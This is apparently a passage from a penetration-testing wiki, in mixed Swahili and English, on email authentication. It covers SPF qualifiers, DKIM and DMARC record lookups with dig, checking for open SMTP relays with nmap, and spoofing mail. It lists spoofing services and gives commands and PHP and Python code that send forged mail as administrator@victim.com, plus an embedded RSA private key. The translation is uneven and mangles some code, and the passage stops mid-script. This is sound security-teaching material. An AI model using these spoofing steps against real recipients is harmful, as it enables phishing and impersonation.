Kuhamasisha ni kiashiria kwa jina lingine la domain ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu sawa ya barua pepe.
Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanismu ya kuhamasisha itatumika.
| Pia inawezekana kubaini **Qualifiers** ambazo zinaonyesha **kitu kinachopaswa kufanywa ikiwa mekanismu imefanikiwa**. Kwa default, **qualifier "+"** inatumika (hivyo ikiwa mekanismu yoyote imefanikiwa, hiyo inamaanisha inaruhusiwa).\ Kwa kawaida utaona **mwishoni mwa sera ya kila SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.** #### Qualifiers Kila mekanismu ndani ya sera inaweza kuanzishwa na moja ya qualifiers nne ili kufafanua matokeo yanayokusudiwa: * **`+`**: Inalingana na matokeo ya PASS. Kwa default, mekanismu zinachukulia qualifier hii, na kufanya `+mx` kuwa sawa na `mx`. * **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum). * **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo. * **`-`**: Inaonyesha FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja. Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumuishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. **Sasa**, if **email** comes from a **domain without a valid SPF record** is probably going to be **rejected/marked as untrusted automatically**. To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name. For instance, to request the key, the domain name and selector are essential. These can be found in the mail header `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`. A command to fetch this information might look like: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitisho na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe. **Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC tags | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | | v | Protocol version | v=DMARC1 | | pct | Percentage of messages subjected to filtering | pct=20 | | ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | | rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | | p | Policy for organizational domain | p=quarantine | | sp | Policy for subdomains of the OD | sp=reject | | adkim | Alignment mode for DKIM | adkim=s | | aspf | Alignment mode for SPF | aspf=r | ### **What about Subdomains?** **From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Unahitaji kuwa na rekodi za SPF tofauti kwa kila subdomain unayotaka kutuma barua kutoka.\ Ifuatayo ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo. > Swali la Demon: Je, kuhusu subdomains? > > Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain. > > Hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji ambalo lina rekodi ya A au MX. > > Tovuti zenye rekodi za A au MX za wildcard pia zinapaswa kuwa na rekodi ya SPF ya wildcard, ya aina: \* IN TXT "v=spf1 -all" Hii ina maana - subdomain inaweza kuwa katika eneo tofauti la kijiografia na kuwa na ufafanuzi wa SPF tofauti sana. ### **Open Relay** Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inafanikiwa kupitia matumizi ya **seva ya relay ambayo inatambulika na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi ni salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama. Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaowezekana au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini: ```bash mynetworks = 0.0.0.0/0 ``` Ili kuangalia ikiwa seva ya barua ni relay wazi (ambayo inamaanisha inaweza kupeleka barua pepe kutoka chanzo chochote cha nje), zana ya `nmap` hutumiwa mara nyingi. Inajumuisha skripti maalum iliyoundwa kupima hili. Amri ya kufanya skana ya kina kwenye seva (kwa mfano, na IP 10.10.10.10) kwenye bandari ya 25 kwa kutumia `nmap` ni: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Vifaa** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Angalia makosa ya SPF na DMARC** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Pata mipangilio ya SPF na DMARC kiotomatiki** ### Tuma Barua Pepe ya Kughushi * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/) **Au unaweza kutumia chombo:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} Ikiwa unapata **kosa lolote ukitumia katika dkim python lib** kuchambua funguo, jisikie huru kutumia hii ifuatayo.\ **KUMBUKA**: Hii ni suluhisho chafu tu kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani funguo ya faragha ya openssl **haiwezi kuchambuliwa na dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Au unaweza kufanya hivyo kwa mikono:** {% tabs %} {% tab title="PHP" %}# Hii itatuma ujumbe usio na saini
mail("your_email@gmail.com", "Kichwa cha Jaribio!", "hey! Hii ni jaribio", "Kutoka: administrator@victim.com");
{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""